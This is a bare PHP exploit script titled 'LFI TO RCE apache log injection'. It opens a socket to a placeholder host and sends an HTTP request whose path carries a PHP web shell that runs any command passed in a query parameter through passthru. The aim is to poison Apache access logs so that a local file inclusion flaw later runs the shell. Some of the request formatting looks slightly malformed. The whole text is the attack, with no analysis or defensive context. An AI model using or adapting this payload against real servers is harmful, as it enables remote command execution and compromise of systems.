LFI TO RCE apache log injection

<?php
$fp=fsockopen("www.target.com",80,$errno,$errstr,30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET/<?php if(get_magic_quotes_gpc()){\$_GET[x]=stripslashes(\$_GET[x]);} passthru(\$_GET[x]);?> HTTP/1.1\r\n";
$out .= "Host:www.target.com\r\n";
$out.="User-Agent : Mozilla 5.0\r\n";
$out .= "Connection:Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>